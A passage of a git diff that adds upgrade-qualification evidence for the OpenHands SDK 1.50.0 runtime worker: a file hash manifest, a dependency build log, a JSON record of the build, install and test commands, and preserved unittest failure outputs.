"c857efa5c006c709dd99cc7d5f480f9dcef649248dde89f50f8265ca80008e9d" + }, + "evidence/upgrade-150-build-prerequisites.txt": { + "bytes": 176, + "sha256": "5b361c470e75522f982b4d09d44f186a69bb887ae0c92ec0b115233cfda181e2" + }, + "evidence/upgrade-150-build.txt": { + "bytes": 7760, + "sha256": "ca78b9132efc29e416bc87029698f00ac766a1051a2df9f678c3af4c37a43b19" + }, + "evidence/upgrade-150-commands.json": { + "bytes": 8184, + "sha256": "3e928781af62f6e8b3af0257bbeca958f73bde5b2aa52f0911f6af24ecb937f4" + }, + "evidence/upgrade-150-integration-first.txt": { + "bytes": 3453, + "sha256": "b36adb4cbaf5eee6f8cff2343cac6cef78cd2320479d3742500629f1bc92c8d3" + }, + "evidence/upgrade-150-integration-second.txt": { + "bytes": 2941, + "sha256": "fc945989350d2b9eb8fd63f6836bf1c97ead5faba516c0962c979b6a93e0d01e" + }, + "evidence/upgrade-150-integration-tests.txt": { + "bytes": 245, + "sha256": "f2c6ae6e677838cd51300171aa6631841e38faeb7c1e53588744e85d68871fd3" + }, + "evidence/upgrade-150-native-integration-tests.txt": { + "bytes": 769, + "sha256": "62be69533efcffb6dc5db2249c3bf116d78b43ffb68d1d332e08b744575aec30" + }, + "evidence/upgrade-150-native-p3-first.txt": { + "bytes": 2359, + "sha256": "ac16482bbce9a4b9542d27f310e722d2597fd341e678fd6653042391bc56cdd9" + }, + "evidence/upgrade-150-native-profile-first.txt": { + "bytes": 1639, + "sha256": "e0046aee002ef02746fc9c3ae5307ebe846a16c5d59419ec2cba61192482d276" + }, + "evidence/upgrade-150-profile-first.txt": { + "bytes": 992, + "sha256": "9b282f4dfc81a8e0233af6f28dbaf3f50e5d50931687a2db01d697ed6a0f7724" + }, + "evidence/upgrade-150-publication-first.txt": { + "bytes": 1746, + "sha256": "739e94ff5999e74fd8938b4792da68a9318657a9f26e5be84289c242ecfcdfb5" + }, + "evidence/upgrade-150-upstream-tests.txt": { + "bytes": 4557, + "sha256": "99e1e2a7af20af37627b7d874533a61ed740bb03ec9a45f38b732f40554d7525" + }, + "evidence/upgrade-150-wheel-check.txt": { + "bytes": 127, + "sha256": "f1448b41f5b0d8460ab7363b70166d37b2cceeebd70559e11c2fd354d136c012" + }, + "evidence/upgrade-150-wheel-imports.txt": { + "bytes": 732, + "sha256": "8af76c229b8bb3dab63b7a095985de90fd297236e29bbdffcc16c0a2d6aaad3d" + }, + "evidence/upgrade-150-wheel-install.txt": { + "bytes": 4469, + "sha256": "db9db31f6adeccbff628352ba9d4fec94743fe21c08539bec78b4e8806c6b2f0" + }, + "host.py": { + "bytes": 84582, + "sha256": "00551430ef463323706866f65a91a3086af12299259cb6a619e651419e982e3f" + }, + "install-container.sh": { + "bytes": 1291, + "sha256": "3824f5dbcfe4751884bcb1699faff3c994a6e17a77b81c5866d49b6565595051" + }, + "install.sh": { + "bytes": 690, + "sha256": "4163d3e0d8eda0d61d2e832d6ffd1690348f71ddf03d1a3c99651635b3b53815" + }, + "mcp_guard.py": { + "bytes": 1639, + "sha256": "a06d465736789ce9bace5197569ec76c7af20000d45eb8ca89e566f540634ba0" + }, + "pins.json": { + "bytes": 4460, + "sha256": "5807df92613841d8ba8da23bd1b03cc3f23a19de009da6d8e75b10048e8cd7cb" + }, + "README.md": { + "bytes": 77504, + "sha256": "04db8559cf70cead718479f9fb1a15335fb2d2be80929594337f5029709d9b96" + }, + "receipt.py": { + "bytes": 23331, + "sha256": "08224a7df50ff1593af6d67ba8f94eb236d9716e88907150a9f87750a9805d8d" + }, + "recipe.py": { + "bytes": 8038, + "sha256": "5837fe89b18c969d1e8fb83bd73fd078d287962ed9cbf729a02cc0d25ebeda9c" + }, + "requirements.lock": { + "bytes": 247364, + "sha256": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16" + }, + "research.md": { + "bytes": 71472, + "sha256": "31f0a3ca42fbca71bf7c1d511f4cd6f42f982fa0f3c5176792c61b839b32beb8" + }, + "run-e2e.sh": { + "bytes": 442, + "sha256": "5a09ca401ae4719696a7e28e995f4e58f33451308d486e93aa840486ca8eff04" + }, + "server_transport.py": { + "bytes": 2552, + "sha256": "3c56eff0bb52f899e96ccb0edb09d19b2ace55169484939b962b644325a84eac" + }, + "tests/test_openhands_150.py": { + "bytes": 17206, + "sha256": "920cbacf71beeb1fe470f3386c11ffa6401ddd73dbfd4d91455661edf81fffd3" + }, + "tests/test_runtime_worker_openhands.py": { + "bytes": 221049, + "sha256": "7a5b9ba6b3f95488a9cbb866515033d279a3195910bd5138d6d9916796751023" + }, + "worker.py": { + "bytes": 17490, + "sha256": "210301d91808ed3bd6b81fdafcafa66bd2b9c2052c42fc2a382fef8e3a665808" + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-build-prerequisites.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-build-prerequisites.txt new file mode 100644 index 000000000..549855a9e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-build-prerequisites.txt @@ -0,0 +1,6 @@ +Using Python 3.13.15 environment at: +Resolved 3 packages in 67ms +Installed 3 packages in 42ms + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-build.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-build.txt new file mode 100644 index 000000000..51c47a2d5 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-build.txt @@ -0,0 +1,304 @@ +Using CPython 3.13.15 +Creating virtual environment at: .venv +Resolved 419 packages in 3ms + Building openhands-agent-server @ file:///openhands-agent-server + Building openhands-sdk @ file:///openhands-sdk + Building openhands-workspace @ file:///openhands-workspace + Building openhands-tools @ file:///openhands-tools +Downloading beartype (1.3MiB) +Downloading pygments (1.2MiB) +Downloading grpcio (6.3MiB) +Downloading google-api-python-client (13.6MiB) +Downloading numpy (15.9MiB) +Downloading pandas (11.5MiB) +Downloading openai (1.1MiB) +Downloading setuptools (1.1MiB) +Downloading hf-xet (3.0MiB) +Downloading ruff (12.6MiB) +Downloading pip (1.7MiB) +Downloading pyright (5.7MiB) +Downloading pyarrow (45.4MiB) +Downloading lupa (2.2MiB) +Downloading litellm (19.2MiB) +Downloading lmnr-claude-code-proxy (1.4MiB) +Downloading pydeck (6.6MiB) +Downloading reportlab (1.9MiB) +Downloading tokenizers (3.2MiB) +Downloading sqlalchemy (3.1MiB) +Downloading streamlit (10.0MiB) +Downloading lxml (5.0MiB) +Downloading nodejs-wheel-binaries (55.7MiB) +Downloading virtualenv (5.7MiB) + Downloaded pygments + Downloaded openai + Downloaded lmnr-claude-code-proxy + Downloaded beartype + Downloaded setuptools + Downloaded pip + Downloaded reportlab + Downloaded lupa + Building func-timeout==4.3.5 + Downloaded hf-xet + Downloaded sqlalchemy + Downloaded tokenizers + Downloaded lxml + Downloaded virtualenv + Downloaded pydeck + Downloaded grpcio + Downloaded streamlit + Downloaded ruff + Downloaded google-api-python-client + Downloaded numpy + Downloaded pandas + Built func-timeout==4.3.5 + Downloaded pyarrow + Built openhands-workspace @ file:///openhands-workspace + Built openhands-agent-server @ file:///openhands-agent-server + Built openhands-tools @ file:///openhands-tools + Downloaded pyright + Built openhands-sdk @ file:///openhands-sdk + Downloaded litellm + Downloaded nodejs-wheel-binaries +Prepared 170 packages in 3.12s +Installed 232 packages in 914ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + aiosqlite==0.22.1 + + alembic==1.17.0 + + altair==5.5.0 + + altgraph==0.17.4 + + annotated-doc==0.0.4 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + cfgv==3.4.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.1.8 + + cloudpickle==3.1.2 + + colorama==0.4.6 + + coverage==7.10.6 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distlib==0.4.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docker==7.1.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + execnet==2.1.2 + + fakeredis==2.34.1 + + fastapi==0.136.3 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + greenlet==3.2.4 + + griffe==2.3.0 + + griffecli==2.3.0 + + griffelib==2.3.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httptools==0.8.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + identify==2.6.14 + + idna==3.15 + + importlib-metadata==8.5.0 + + iniconfig==2.1.0 + + inquirerpy==0.3.4 + + itsdangerous==2.2.0 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.0 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + mako==1.3.12 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + narwhals==2.5.0 + + nodeenv==1.9.1 + + nodejs-wheel-binaries==22.19.0 + + numpy==2.3.3 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-agent-server==1.50.0 (from file:///openhands-agent-server) + + openhands-sdk==1.50.0 (from file:///openhands-sdk) + + openhands-tools==1.50.0 (from file:///openhands-tools) + + openhands-workspace==1.50.0 (from file:///openhands-workspace) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + packaging==26.3 + + pandas==2.3.2 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + pip==26.2 + + platformdirs==4.4.0 + + pluggy==1.6.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + pre-commit==4.3.0 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py==1.11.0 + + py-key-value-aio==0.4.4 + + pyarrow==23.0.1 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycodestyle==2.14.0 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pydeck==0.9.1 + + pygments==2.20.0 + + pyinstaller==6.22.2 + + pyinstaller-hooks-contrib==2026.7 + + pyjwt==2.13.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.14.2 + + pyperclip==1.11.0 + + pyright==1.1.407 + + pytest==9.0.3 + + pytest-asyncio==1.3.0 + + pytest-cov==7.0.0 + + pytest-forked==1.6.0 + + pytest-timeout==2.4.0 + + pytest-xdist==3.8.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pytz==2025.2 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + ruff==0.13.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + setuptools==80.9.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.8.4 + + sqlalchemy==2.0.44 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + streamlit==1.63.0 + + tabulate==0.9.0 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + toml==0.10.2 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + tzdata==2025.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.7.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + virtualenv==20.36.1 + + watchdog==6.0.0 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wheel==0.46.3 + + wrapt==1.17.3 + + wsproto==1.2.0 + + yarl==1.22.0 + + zipp==3.23.0 +Checking uv version... +uv version 0.12.17 meets requirements +Setting up OpenHands V1 development environment... +Installing dependencies with uv sync --dev... +Dependencies installed successfully. +Setting up pre-commit hooks... +pre-commit installed at .git/hooks/pre-commit +Pre-commit hooks installed successfully. +Build complete! Development environment is ready. diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json b/blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json new file mode 100644 index 000000000..630555280 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json @@ -0,0 +1,129 @@ +{ + "schema_version": 1, + "scope": "OpenHands 1.50.0 source/install qualification and local integration checks", + "source": { + "repository": "https://github.com/OpenHands/software-agent-sdk", + "tag": "v1.50.0", + "commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "uv_lock_sha256_before_and_after_native_build": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801", + "supported_install_source": "Makefile build target; uv export --help; published PyPI SDK/tools 1.50.0 wheels", + "native_source_changed": false + }, + "observed_image_metadata": { + "tag": "1.50.0-python", + "index_sha256": "6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc", + "linux_amd64_manifest_sha256": "d322c0fa5bc0f95d36de0b1a3e9aeab1230e2daf44d66cc94e42aa4ad23129c7", + "config_sha256": "6b11dbc497b336e0bf02aeed538dc21d87e4eabe66cac21d1b289dadb86eb1ee", + "build_git_sha": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "build_git_ref": "refs/tags/v1.50.0", + "method": "Anonymous official GHCR reads; returned index/manifest/config bytes each rehashed and compared to their digest", + "scope": "Registry metadata observation only; no daemon pull, scan, container start or model run" + }, + "command_timestamps": "not_collected", + "sanitization": { + "output": "Actual RTK-returned stdout/stderr retained, including warnings and failure output; three padded logger lines have trailing spaces removed", + "replacements": ["Owned checkout path -> ", "Isolated upstream clone path -> ", "Isolated wheel environment -> "], + "credential_values_collected": false, + "conversations_collected": false + }, + "commands": [ + { + "argv": ["rtk", "make", "build"], + "cwd": "", + "exit_code": 0, + "evidence_class": "unchanged upstream supported installation", + "output": "upgrade-150-build.txt" + }, + { + "argv": ["rtk", "uv", "export", "--locked", "--no-dev", "--package", "openhands-tools", "--no-emit-workspace", "--no-annotate", "--no-header", "--format", "requirements.txt", "--output-file", ""], + "cwd": "", + "exit_code": 0, + "evidence_class": "supported upstream lock export", + "requirements_sha256": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16", + "note": "Native exported dependency requirements plus the two pinned published wheel entries; no upstream lock edits" + }, + { + "argv": ["rtk", "uv", "run", "pytest", "tests/sdk/skills", "tests/sdk/mcp", "tests/sdk/plugin", "tests/tools/task", "tests/tools/browser_use/test_browser_toolset.py", "tests/tools/browser_use/test_browser_initialization.py", "tests/tools/browser_use/test_browser_cleanup.py", "tests/tools/test_planning_preset.py", "tests/sdk/tool/test_invoke_skill.py", "tests/sdk/conversation/test_interrupt.py", "tests/cross/test_conversation_restore_behavior.py", "tests/sdk/conversation/goal", "tests/sdk/llm/test_prompt_caching_cross_conversation.py", "tests/sdk/llm/test_budget_denial_http.py", "tests/sdk/llm/test_llm_fallback.py", "tests/sdk/llm/test_responses_parsing_and_kwargs.py", "--tb=short", "-q"], + "cwd": "", + "exit_code": 0, + "evidence_class": "unchanged upstream tests; mocked upstream test scope", + "passed": 1208, + "warnings": 52, + "duration_seconds": 94.92, + "output": "upgrade-150-upstream-tests.txt" + }, + { + "argv": ["rtk", "uv", "pip", "install", "--python", "/bin/python", "--require-hashes", "--no-deps", "--only-binary", ":all:", "--index-url", "https://pypi.org/simple", "-r", "blueprints/runtime-workers/openhands/build-requirements.lock"], + "cwd": "", + "exit_code": 0, + "evidence_class": "published wheel build-prerequisite installation", + "output": "upgrade-150-build-prerequisites.txt" + }, + { + "argv": ["rtk", "uv", "pip", "install", "--python", "/bin/python", "--require-hashes", "--no-deps", "--no-build-isolation", "--index-url", "https://pypi.org/simple", "-r", "blueprints/runtime-workers/openhands/requirements.lock"], + "cwd": "", + "exit_code": 0, + "evidence_class": "published SDK/tools hashed installation", + "output": "upgrade-150-wheel-install.txt" + }, + { + "argv": ["rtk", "uv", "pip", "check", "--python", "/bin/python"], + "cwd": "", + "exit_code": 0, + "evidence_class": "native dependency consistency check", + "output": "upgrade-150-wheel-check.txt" + }, + { + "argv": ["rtk", "/bin/python", "-c", "import importlib.metadata as m; from openhands.sdk import LLM, Agent, Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.preset.planning import get_planning_agent; from openhands.tools.browser_use import BrowserToolSet; assert m.version(\"openhands-sdk\") == m.version(\"openhands-tools\") == \"1.50.0\"; print(\"Published SDK/tools 1.50.0 imports passed; PyJWT \" + m.version(\"PyJWT\") + \"; no model request\")"], + "cwd": "", + "exit_code": 0, + "evidence_class": "published-wheel native imports/version observation only; no model request", + "output": "upgrade-150-wheel-imports.txt" + }, + { + "argv": ["rtk", "python3", "-m", "unittest", "discover", "-s", "tests", "-p", "test*openhands*.py"], + "cwd": "", + "exit_code": 0, + "evidence_class": "local integration fixtures; three actual-SDK checks skip without the isolated installation", + "tests_run": 133, + "skipped": 3, + "output": "upgrade-150-integration-tests.txt" + }, + { + "argv": ["rtk", "/.venv/bin/python", "-m", "unittest", "discover", "-s", "/tests", "-p", "test_openhands_150.py"], + "cwd": "", + "exit_code": 0, + "evidence_class": "our integration checks against actual SDK with native calls patched; no live inference", + "tests_run": 12, + "skipped": 0, + "output": "upgrade-150-native-integration-tests.txt" + }, + { + "argv": ["rtk", "python3", "scripts/validate.py"], + "cwd": "", + "exit_code": 1, + "evidence_class": "publication validation before coordinator refreshes shared hash records", + "output": "upgrade-150-publication-first.txt", + "note": "Expected stale artifact hashes; the additional synthetic UUID-literal privacy finding was corrected using uuid.UUID(int=1)" + } + ], + "preserved_failures": [ + {"output": "upgrade-150-integration-first.txt", "exit_code": 1, "condition": "Historical image scan and active-version assertions; server preload fixture lacked the new native goal service"}, + {"output": "upgrade-150-integration-second.txt", "exit_code": 1, "condition": "Old P3 skeleton assertion and receipt-schema assertion"}, + {"output": "upgrade-150-profile-first.txt", "exit_code": 1, "condition": "Delayed import unavailable in module-only fixture"}, + {"output": "upgrade-150-native-profile-first.txt", "exit_code": 1, "condition": "Same delayed import failure in actual-SDK integration run"}, + {"output": "upgrade-150-native-p3-first.txt", "exit_code": 1, "condition": "Assumed nested Chat Completion tool-call shape; corrected to pinned native MessageToolCall id/name/arguments/origin"} + ], + "live_provider_calls_executed": false, + "worker_containers_started": false, + "qualification_status": "source/install/native-test qualified candidate; live runtime pending", + "usage": null, + "token_savings": null, + "host_prerequisites": [ + "Root coordinator ownership handoff and source-bound Gate A/P3 acceptance", + "New 1.50.0 image vulnerability scan and triage; historical 1.49.6 scan is not reusable", + "Native owned rootless installation, frozen grader task/image, live P0-P2 and P3 control qualification", + "Independently isolated native observer implementation/qualification outside terminal UID and writable event-store reach", + "Task-scoped Chromium/browser interaction, crash recovery, official task grading and complete-attempt token comparison where claimed" + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-first.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-first.txt new file mode 100644 index 000000000..a4f48fad7 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-first.txt @@ -0,0 +1,49 @@ +.........E.........................................................F..........F.......................................... +====================================================================== +ERROR: test_preload_installs_dynamic_call_adapter_through_upstream_hook (test_runtime_worker_openhands.OpenHandsDispatchTests.test_preload_installs_dynamic_call_adapter_through_upstream_hook) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 3109, in test_preload_installs_dynamic_call_adapter_through_upstream_hook + load_recipe_module("server_transport.py") + ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ + File "/tests/test_runtime_worker_openhands.py", line 46, in load_recipe_module + spec.loader.exec_module(module) + ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^ + File "", line 1023, in exec_module + File "", line 488, in _call_with_frames_removed + File "/blueprints/runtime-workers/openhands/server_transport.py", line 12, in + from worker import capture_correlation, gateway_transport, register_worker_agents +ImportError: cannot import name 'register_worker_agents' from '' (unknown location) + +====================================================================== +FAIL: test_agent_server_image_scan_receipt_matches_the_pinned_digest (test_runtime_worker_openhands.OpenHandsRecipeTests.test_agent_server_image_scan_receipt_matches_the_pinned_digest) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 518, in test_agent_server_image_scan_receipt_matches_the_pinned_digest + self.assertEqual({k: receipt["image"][k] for k in keys}, {k: pins[k] for k in keys}) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: {'ref[37 chars]a256:02ef66fdf0b22a40b0b55c5cca8d1790cfd260c50[219 chars]96f'} != {'ref[37 chars]a256:6d91a74fd2b556107e4e15476680d1d8116eeadfc[219 chars]1ee'} +- {'config_sha256': '39426d8ce5c3ecaf6829063ec8ccfe5c289f049ae007fb14d89317b3982d196f', +- 'manifest_sha256': 'ec7ed86f4021a21e161815853156521b44929d913f2e6ee06a173ef2f660aa12', ++ {'config_sha256': '6b11dbc497b336e0bf02aeed538dc21d87e4eabe66cac21d1b289dadb86eb1ee', ++ 'manifest_sha256': 'd322c0fa5bc0f95d36de0b1a3e9aeab1230e2daf44d66cc94e42aa4ad23129c7', + 'platform': 'linux/amd64', +- 'ref': 'ghcr.io/openhands/agent-server@sha256:02ef66fdf0b22a40b0b55c5cca8d1790cfd260c5069f7c0b99edc1b505d5ab37'} ++ 'ref': 'ghcr.io/openhands/agent-server@sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc'} + +====================================================================== +FAIL: test_immutable_artifacts (test_runtime_worker_openhands.OpenHandsRecipeTests.test_immutable_artifacts) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 237, in test_immutable_artifacts + self.assertEqual(pins["version"], "1.49.6") + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: '1.50.0' != '1.49.6' +- 1.50.0 ++ 1.49.6 + + +---------------------------------------------------------------------- +Ran 121 tests in 8.757s + +FAILED (failures=2, errors=1) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-second.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-second.txt new file mode 100644 index 000000000..587239617 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-second.txt @@ -0,0 +1,41 @@ +.........................................E..................FFF............................................................ +====================================================================== +ERROR: test_netprobe_lists_are_the_plan_lists_and_import_does_no_work (test_runtime_worker_openhands.OpenHandsProbeTests.test_netprobe_lists_are_the_plan_lists_and_import_does_no_work) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 1627, in test_netprobe_lists_are_the_plan_lists_and_import_does_no_work + netprobe.p3_control_call() + ~~~~~~~~~~~~~~~~~~~~~~~~^^ +TypeError: p3_control_call() missing 2 required positional arguments: 'environment' and 'dispatch_id' + +====================================================================== +FAIL: test_receipt_records_proxy_base_url_and_selected_compression_combo (test_runtime_worker_openhands.OpenHandsReceiptTests.test_receipt_records_proxy_base_url_and_selected_compression_combo) (window={'arm': 'engines-on', 'compression_combo': 'fw-rtk'}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 2831, in test_receipt_records_proxy_base_url_and_selected_compression_combo + self.assertEqual(receipt["schema_version"], 6) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: 7 != 6 + +====================================================================== +FAIL: test_receipt_records_proxy_base_url_and_selected_compression_combo (test_runtime_worker_openhands.OpenHandsReceiptTests.test_receipt_records_proxy_base_url_and_selected_compression_combo) (window={'arm': 'engines-on'}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 2831, in test_receipt_records_proxy_base_url_and_selected_compression_combo + self.assertEqual(receipt["schema_version"], 6) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: 7 != 6 + +====================================================================== +FAIL: test_receipt_records_proxy_base_url_and_selected_compression_combo (test_runtime_worker_openhands.OpenHandsReceiptTests.test_receipt_records_proxy_base_url_and_selected_compression_combo) (window={'arm': 'control'}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_openhands.py", line 2831, in test_receipt_records_proxy_base_url_and_selected_compression_combo + self.assertEqual(receipt["schema_version"], 6) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: 7 != 6 + +---------------------------------------------------------------------- +Ran 121 tests in 6.137s + +FAILED (failures=3, errors=1) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-tests.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-tests.txt new file mode 100644 index 000000000..040b3f170 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-tests.txt @@ -0,0 +1,5 @@ +.......ss..s......................................................................................................................... +---------------------------------------------------------------------- +Ran 133 tests in 5.891s + +OK (skipped=3) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-integration-tests.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-integration-tests.txt new file mode 100644 index 000000000..f81981928 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-integration-tests.txt @@ -0,0 +1,15 @@ +.......+----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +..... +---------------------------------------------------------------------- +Ran 12 tests in 3.421s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-p3-first.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-p3-first.txt new file mode 100644 index 000000000..f785eaa16 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-p3-first.txt @@ -0,0 +1,37 @@ +.......+----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +....E +====================================================================== +ERROR: test_p3_native_tool_replay_and_query_denial_are_fixture_only (test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_openhands_150.py", line 219, in test_p3_native_tool_replay_and_query_denial_are_fixture_only + first = Message(role="assistant", content=[], tool_calls=[{ + "id": "call-p3-fixture", "type": "function", + "function": {"name": "route_probe", "arguments": '{"text":"P3_OK"}'}, + }]) + File "/.venv/lib/python3.13/site-packages/pydantic/main.py", line 250, in __init__ + validated_self = self.__pydantic_validator__.validate_python(data, self_instance=self) +pydantic_core._pydantic_core.ValidationError: 3 validation errors for Message +tool_calls.0.name + Field required [type=missing, input_value={'id': 'call-p3-fixture',...s': '{"text":"P3_OK"}'}}, input_type=dict] + For further information visit 